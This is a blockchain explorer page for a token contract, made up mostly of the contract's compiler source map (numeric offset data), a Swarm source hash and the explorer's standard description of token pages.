2600:6278:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3926:83;;;;;;;;;;-1:-1:-1;3996:5:0;;;;;;;;;;;;-1:-1:-1;;;3996:5:0;;;;3926:83;;;;;;;:::i;:::-;;;;;;;;4759:161;;;;;;;;;;-1:-1:-1;4759:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;4759:161:0;945:187:1;4203:95:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;4203:95:0;1137:177:1;4928:266:0;;;;;;;;;;-1:-1:-1;4928:266:0;;;;;:::i;:::-;;:::i;4112:83::-;;;;;;;;;;-1:-1:-1;2953:2:0;4112:83;;;2004:4:1;1992:17;;;1974:36;;1962:2;1947:18;4112:83:0;1832:184:1;2855:24:0;;;;;;;;;;-1:-1:-1;2855:24:0;;;;;;;;;;;4306:119;;;;;;;;;;-1:-1:-1;4306:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4399:18:0;4372:7;4399:18;;;:9;:18;;;;;;;4306:119;797:148;;;;;;;;;;;;;:::i;:::-;;6371:131;;;;;;;;;;;;;:::i;5545:421::-;;;;;;;;;;;;;:::i;583:79::-;;;;;;;;;;-1:-1:-1;621:7:0;648:6;583:79;;-1:-1:-1;;;;;648:6:0;;;2419:51:1;;2407:2;2392:18;583:79:0;2273:203:1;4017:87:0;;;;;;;;;;-1:-1:-1;4089:7:0;;;;;;;;;;;;-1:-1:-1;;;4089:7:0;;;;4017:87;;6190:173;;;;;;;;;;-1:-1:-1;6190:173:0;;;;;:::i;:::-;;:::i;4433:167::-;;;;;;;;;;-1:-1:-1;4433:167:0;;;;;:::i;:::-;;:::i;5974:208::-;;;;;;;;;;-1:-1:-1;5974:208:0;;;;;:::i;:::-;;:::i;2886:25::-;;;;;;;;;;-1:-1:-1;2886:25:0;;;;;;;;;;;4608:143;;;;;;;;;;-1:-1:-1;4608:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4716:18:0;;;4689:7;4716:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4608:143;4759:161;4834:4;4851:39;240:10;4874:7;4883:6;4851:8;:39::i;:::-;-1:-1:-1;4908:4:0;4759:161;;;;;:::o;4203:95::-;4256:7;3010:15;2953:2;3010;:15;:::i;:::-;2997:28;;:10;:28;:::i;:::-;4276:14;;4203:95;:::o;4928:266::-;5026:4;5043:36;5053:6;5061:9;5072:6;5043:9;:36::i;:::-;-1:-1:-1;;;;;5121:19:0;;;;;;:11;:19;;;;;;;;240:10;5121:33;;;;;;;;;5090:74;;5099:6;;5121:42;;5157:6;;5121:42;:::i;:::-;5090:8;:74::i;:::-;-1:-1:-1;5182:4:0;4928:266;;;;;;:::o;797:148::-;710:6;;-1:-1:-1;;;;;710:6:0;240:10;710:22;702:67;;;;-1:-1:-1;;;702:67:0;;;;;;;:::i;:::-;;;;;;;;;904:1:::1;888:6:::0;;867:40:::1;::::0;-1:-1:-1;;;;;888:6:0;;::::1;::::0;867:40:::1;::::0;904:1;;867:40:::1;935:1;918:19:::0;;-1:-1:-1;;;;;;918:19:0::1;::::0;;797:148::o;6371:131::-;710:6;;-1:-1:-1;;;;;710:6:0;240:10;710:22;702:67;;;;-1:-1:-1;;;702:67:0;;;;;;;:::i;:::-;6439:13:::1;:11;:13::i;:::-;6425:11;:27:::0;6481:13:::1;:11;:13::i;:::-;6463:15;:31:::0;6371:131::o;5545:421::-;710:6;;-1:-1:-1;;;;;710:6:0;240:10;710:22;702:67;;;;-1:-1:-1;;;702:67:0;;;;;;;:::i;:::-;5609:14:::1;::::0;::::1;;5608:15;5600:43;;;::::0;-1:-1:-1;;;5600:43:0;;6125:2:1;5600:43:0::1;::::0;::::1;6107:21:1::0;6164:2;6144:18;;;6137:30;-1:-1:-1;;;6183:18:1;;;6176:45;6238:18;;5600:43:0::1;5923:339:1::0;5600:43:0::1;5654:14;:21:::0;;-1:-1:-1;;5654:21:0::1;5671:4;5654:21;::::0;;5707:12:::1;5686:18;:33:::0;5767:6:::1;::::0;5730:15:::1;:44:::0;;-1:-1:-1;;;;;;5730:44:0::1;-1:-1:-1::0;;;;;5767:6:0;;::::1;5730:44:::0;;::::1;::::0;;5819:25:::1;::::0;;-1:-1:-1;;;5819:25:0;;;;:23:::1;::::0;-1:-1:-1;5819:25:0;;::::1;::::0;::::1;::::0;;;;;;;;;5767:6;5819:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5801:52:0::1;;5862:4;5869:15;;;;;;;;;-1:-1:-1::0;;;;;5869:15:0::1;-1:-1:-1::0;;;;;5869:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5801:91;::::0;-1:-1:-1;;;;;;5801:91:0::1;::::0;;;;;;-1:-1:-1;;;;;6715:32:1;;;5801:91:0::1;::::0;::::1;6697:51:1::0;6784:32;;6764:18;;;6757:60;6670:18;;5801:91:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5785:13;:107:::0;;-1:-1:-1;;;;;;5785:107:0::1;-1:-1:-1::0;;;;;5785:107:0;;;::::1;::::0;;::::1;::::0;;5903:55:::1;;;::::0;-1:-1:-1;;;5903:55:0;;7030:2:1;5903:55:0::1;::::0;::::1;7012:21:1::0;7069:2;7049:18;;;7042:30;-1:-1:-1;;;7088:18:1;;;7081:45;7143:18;;5903:55:0::1;6828:339:1::0;5903:55:0::1;5545:421::o:0;6190:173::-;710:6;;-1:-1:-1;;;;;710:6:0;240:10;710:22;702:67;;;;-1:-1:-1;;;702:67:0;;;;;;;:::i;:::-;6265:4:::1;6261:53;;;6283:10;6273:21;::::0;;;:9:::1;:21;::::0;;;;:31;;6298:6;;6273:21;:31:::1;::::0;6298:6;;6273:31:::1;:::i;:::-;::::0;;;-1:-1:-1;6306:7:0::1;::::0;-1:-1:-1;6306:7:0::1;6261:53;6334:10;6324:21;::::0;;;:9:::1;:21;::::0;;;;:31;;6349:6;;6324:21;:31:::1;::::0;6349:6;;6324:31:::1;:::i;:::-;::::0;;;-1:-1:-1;;780:1:0::1;6190:173:::0;;:::o;4433:167::-;4511:4;4528:42;240:10;4552:9;4563:6;4528:9;:42::i;5974:208::-;710:6;;-1:-1:-1;;;;;710:6:0;240:10;710:22;702:67;;;;-1:-1:-1;;;702:67:0;;;;;;;:::i;:::-;6076:2:::1;6063:9;:15;;;;:35;;;;;6096:2;6082:10;:16;;;;6063:35;6055:59;;;::::0;-1:-1:-1;;;6055:59:0;;7504:2:1;6055:59:0::1;::::0;::::1;7486:21:1::0;7543:2;7523:18;;;7516:30;-1:-1:-1;;;7562:18:1;;;7555:41;7613:18;;6055:59:0::1;7302:335:1::0;6055:59:0::1;6125:6;:18:::0;;-1:-1:-1;;6154:20:0;6125:18;::::1;::::0;;::::1;;-1:-1:-1::0;;6154:20:0;;;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;5974:208::o;5202:335::-;-1:-1:-1;;;;;5295:19:0;;5287:68;;;;-1:-1:-1;;;5287:68:0;;7844:2:1;5287:68:0;;;7826:21:1;7883:2;7863:18;;;7856:30;7922:34;7902:18;;;7895:62;-1:-1:-1;;;7973:18:1;;;7966:34;8017:19;;5287:68:0;7642:400:1;5287:68:0;-1:-1:-1;;;;;5374:21:0;;5366:68;;;;-1:-1:-1;;;5366:68:0;;8249:2:1;5366:68:0;;;8231:21:1;8288:2;8268:18;;;8261:30;8327:34;8307:18;;;8300:62;-1:-1:-1;;;8378:18:1;;;8371:32;8420:19;;5366:68:0;8047:398:1;5366:68:0;-1:-1:-1;;;;;5445:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5497:32;;1283:25:1;;;5497:32:0;;1256:18:1;5497:32:0;;;;;;;;5202:335;;;:::o;6715:1073::-;6813:1;6804:6;:10;6796:34;;;;-1:-1:-1;;;6796:34:0;;8652:2:1;6796:34:0;;;8634:21:1;8691:2;8671:18;;;8664:30;-1:-1:-1;;;8710:18:1;;;8703:41;8761:18;;6796:34:0;8450:335:1;6796:34:0;6848:14;;;;6843:95;;621:7;648:6;-1:-1:-1;;;;;6887:15:0;;;648:6;;6887:15;6879:47;;;;-1:-1:-1;;;6879:47:0;;8992:2:1;6879:47:0;;;8974:21:1;9031:2;9011:18;;;9004:30;-1:-1:-1;;;9050:18:1;;;9043:49;9109:18;;6879:47:0;8790:343:1;6879:47:0;6962:13;;-1:-1:-1;;;;;6954:21:0;;;6962:13;;6954:21;;;;:44;;-1:-1:-1;6985:13:0;;-1:-1:-1;;;;;6979:19:0;;;6985:13;;6979:19;;6954:44;:72;;;-1:-1:-1;;;;;;7002:24:0;;;;;;:18;:24;;;;;;;;6954:72;:98;;;-1:-1:-1;;;;;;7030:22:0;;;;;;:18;:22;;;;;;;;6954:98;:110;;;-1:-1:-1;7056:8:0;;;;;;;6954:110;6950:196;;;7081:32;7096:4;7102:2;7106:6;7081:14;:32::i;:::-;6715:1073;;;:::o;6950:196::-;7168:13;;-1:-1:-1;;;;;7168:13:0;;;7162:19;;;;7158:288;;7230:18;;7220:4;4372:7;4399:18;;;:9;:18;;;;;;7202:46;7198:237;;7269:8;:15;;-1:-1:-1;;7269:15:0;;;;;7303:42;7320:24;7338:4;-1:-1:-1;;;;;4399:18:0;4372:7;4399:18;;;:9;:18;;;;;;;4306:119;7320:24;7303:16;:42::i;:::-;7364:8;:16;;-1:-1:-1;;7364:16:0;;;7399:20;:18;:20::i;:::-;7470:13;;-1:-1:-1;;;;;7462:21:0;;;7470:13;;7462:21;:37;;;;-1:-1:-1;7493:6:0;;-1:-1:-1;;;;;7487:12:0;;;7493:6;;7487:12;;7462:37;7458:216;;;7534:11;;7524:6;:21;;7516:49;;;;-1:-1:-1;;;7516:49:0;;9340:2:1;7516:49:0;;;9322:21:1;9379:2;9359:18;;;9352:30;-1:-1:-1;;;9398:18:1;;;9391:45;9453:18;;7516:49:0;9138:339:1;7516:49:0;7623:15;;7613:6;7588:22;7606:2;-1:-1:-1;;;;;4399:18:0;4372:7;4399:18;;;:9;:18;;;;;;;4306:119;7588:22;:31;;;;:::i;:::-;:50;;7580:82;;;;-1:-1:-1;;;7580:82:0;;9684:2:1;7580:82:0;;;9666:21:1;9723:2;9703:18;;;9696:30;-1:-1:-1;;;9742:18:1;;;9735:49;9801:18;;7580:82:0;9482:343:1;7580:82:0;7723:13;;7695:42;;7703:4;;7709:6;;-1:-1:-1;;;;;7717:19:0;;;7723:13;;7717:19;7695:7;:42::i;:::-;7686:51;;7748:32;7763:4;7769:2;7773:6;6510:197;-1:-1:-1;;;;;6596:15:0;;;;;;:9;:15;;;;;:25;;6615:6;;6596:15;:25;;6615:6;;6596:25;:::i;:::-;;;;-1:-1:-1;;;;;;;6632:13:0;;;;;;:9;:13;;;;;:23;;6649:6;;6632:13;:23;;6649:6;;6632:23;:::i;:::-;;;;;;;;6688:2;-1:-1:-1;;;;;6673:26:0;6682:4;-1:-1:-1;;;;;6673:26:0;;6692:6;6673:26;;;;1283:25:1;;1271:2;1256:18;;1137:177;8195:516:0;8286:16;;;8300:1;8286:16;;;;;;;;8262:21;;8286:16;;;;;;;;;;-1:-1:-1;8286:16:0;8262:40;;8331:4;8313;8318:1;8313:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8313:23:0;;;:7;;;;;;;;;;:23;;;;8357:15;;:22;;;-1:-1:-1;;;8357:22:0;;;;:15;;;;;:20;;:22;;;;;8313:7;;8357:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8347:4;8352:1;8347:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8347:32:0;;;:7;;;;;;;;;:32;8424:15;;8392:62;;8409:4;;8424:15;8442:11;8392:8;:62::i;:::-;8469:15;;8611:9;;8469:192;;-1:-1:-1;;;8469:192:0;;-1:-1:-1;;;;;8469:15:0;;;;:66;;:192;;8550:11;;8469:15;;8592:4;;8611:9;;;8635:15;;8469:192;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8465:239;;8686:7;8195:516;:::o;8719:156::-;8773:21;:25;8769:99;;8815:9;;:41;;-1:-1:-1;;;;;8815:9:0;;;;8834:21;8815:41;;;;;:9;:41;:9;:41;8834:21;8815:9;:41;;;;;;;;;;;;;;;;;;;;;8719:156::o;7796:391::-;7874:7;7914:18;;7898:12;:34;7894:56;;-1:-1:-1;7942:6:0;7935:13;;7894:56;7960:11;7974:6;:25;;7993:6;;;;;;;7974:25;;;7983:7;;;;;;;7974:25;7960:39;;;;8014:3;8021:1;8014:8;8010:27;;8031:6;8024:13;;;;;8010:27;8048:17;8083:3;8068:12;8077:3;8068:6;:12;:::i;:::-;:18;;;;:::i;:::-;8048:38;;8097:46;8112:4;8126;8133:9;8097:14;:46::i;:::-;8161:18;8170:9;8161:6;:18;:::i;:::-;8154:25;7796:391;-1:-1:-1;;;;;;7796:391:0:o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:395::-;2546:6;2554;2607:2;2595:9;2586:7;2582:23;2578:32;2575:52;;;2623:1;2620;2613:12;2575:52;2668:23;;;-1:-1:-1;2767:2:1;2752:18;;2739:32;2809:15;;2802:23;2790:36;;2780:64;;2840:1;2837;2830:12;2780:64;2863:7;2853:17;;;2481:395;;;;;:::o;2881:156::-;2947:20;;3007:4;2996:16;;2986:27;;2976:55;;3027:1;3024;3017:12;2976:55;2881:156;;;:::o;3042:252::-;3106:6;3114;3167:2;3155:9;3146:7;3142:23;3138:32;3135:52;;;3183:1;3180;3173:12;3135:52;3206:27;3223:9;3206:27;:::i;:::-;3196:37;;3252:36;3284:2;3273:9;3269:18;3252:36;:::i;:::-;3242:46;;3042:252;;;;;:::o;3299:388::-;3367:6;3375;3428:2;3416:9;3407:7;3403:23;3399:32;3396:52;;;3444:1;3441;3434:12;3396:52;3483:9;3470:23;3502:31;3527:5;3502:31;:::i;:::-;3552:5;-1:-1:-1;3609:2:1;3594:18;;3581:32;3622:33;3581:32;3622:33;:::i;3692:127::-;3753:10;3748:3;3744:20;3741:1;3734:31;3784:4;3781:1;3774:15;3808:4;3805:1;3798:15;3824:375;3912:1;3930:5;3944:249;3965:1;3955:8;3952:15;3944:249;;;4015:4;4010:3;4006:14;4000:4;3997:24;3994:50;;;4024:18;;:::i;:::-;4074:1;4064:8;4060:16;4057:49;;;4088:16;;;;4057:49;4171:1;4167:16;;;;;4127:15;;3944:249;;;3824:375;;;;;;:::o;4204:902::-;4253:5;4283:8;4273:80;;-1:-1:-1;4324:1:1;4338:5;;4273:80;4372:4;4362:76;;-1:-1:-1;4409:1:1;4423:5;;4362:76;4454:4;4472:1;4467:59;;;;4540:1;4535:174;;;;4447:262;;4467:59;4497:1;4488:10;;4511:5;;;4535:174;4572:3;4562:8;4559:17;4556:43;;;4579:18;;:::i;:::-;-1:-1:-1;;4635:1:1;4621:16;;4694:5;;4447:262;;4793:2;4783:8;4780:16;4774:3;4768:4;4765:13;4761:36;4755:2;4745:8;4742:16;4737:2;4731:4;4728:12;4724:35;4721:77;4718:203;;;-1:-1:-1;4830:19:1;;;4906:5;;4718:203;4953:42;-1:-1:-1;;4978:8:1;4972:4;4953:42;:::i;:::-;5031:6;5027:1;5023:6;5019:19;5010:7;5007:32;5004:58;;;5042:18;;:::i;:::-;5080:20;;4204:902;-1:-1:-1;;;4204:902:1:o;5111:140::-;5169:5;5198:47;5239:4;5229:8;5225:19;5219:4;5198:47;:::i;5256:168::-;5329:9;;;5360;;5377:15;;;5371:22;;5357:37;5347:71;;5398:18;;:::i;5429:128::-;5496:9;;;5517:11;;;5514:37;;;5531:18;;:::i;5562:356::-;5764:2;5746:21;;;5783:18;;;5776:30;5842:34;5837:2;5822:18;;5815:62;5909:2;5894:18;;5562:356::o;6267:251::-;6337:6;6390:2;6378:9;6369:7;6365:23;6361:32;6358:52;;;6406:1;6403;6396:12;6358:52;6438:9;6432:16;6457:31;6482:5;6457:31;:::i;7172:125::-;7237:9;;;7258:10;;;7255:36;;;7271:18;;:::i;9962:127::-;10023:10;10018:3;10014:20;10011:1;10004:31;10054:4;10051:1;10044:15;10078:4;10075:1;10068:15;10094:967;10364:4;10412:3;10401:9;10397:19;10443:6;10432:9;10425:25;10486:6;10481:2;10470:9;10466:18;10459:34;10529:3;10524:2;10513:9;10509:18;10502:31;10553:6;10588;10582:13;10619:6;10611;10604:22;10657:3;10646:9;10642:19;10635:26;;10696:2;10688:6;10684:15;10670:29;;10717:1;10727:195;10741:6;10738:1;10735:13;10727:195;;;10806:13;;-1:-1:-1;;;;;10802:39:1;10790:52;;10871:2;10897:15;;;;10862:12;;;;10838:1;10756:9;10727:195;;;-1:-1:-1;;;;;;;10978:32:1;;;;10973:2;10958:18;;10951:60;-1:-1:-1;;11042:3:1;11027:19;11020:35;10939:3;10094:967;-1:-1:-1;;;10094:967:1:o;11066:217::-;11106:1;11132;11122:132;;11176:10;11171:3;11167:20;11164:1;11157:31;11211:4;11208:1;11201:15;11239:4;11236:1;11229:15;11122:132;-1:-1:-1;11268:9:1;;11066:217::o

Swarm Source

ipfs://1e8f71b565a7f7e59fccce437554b3c4c826c75ef3126e00f4a4ab60cf28ac0f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.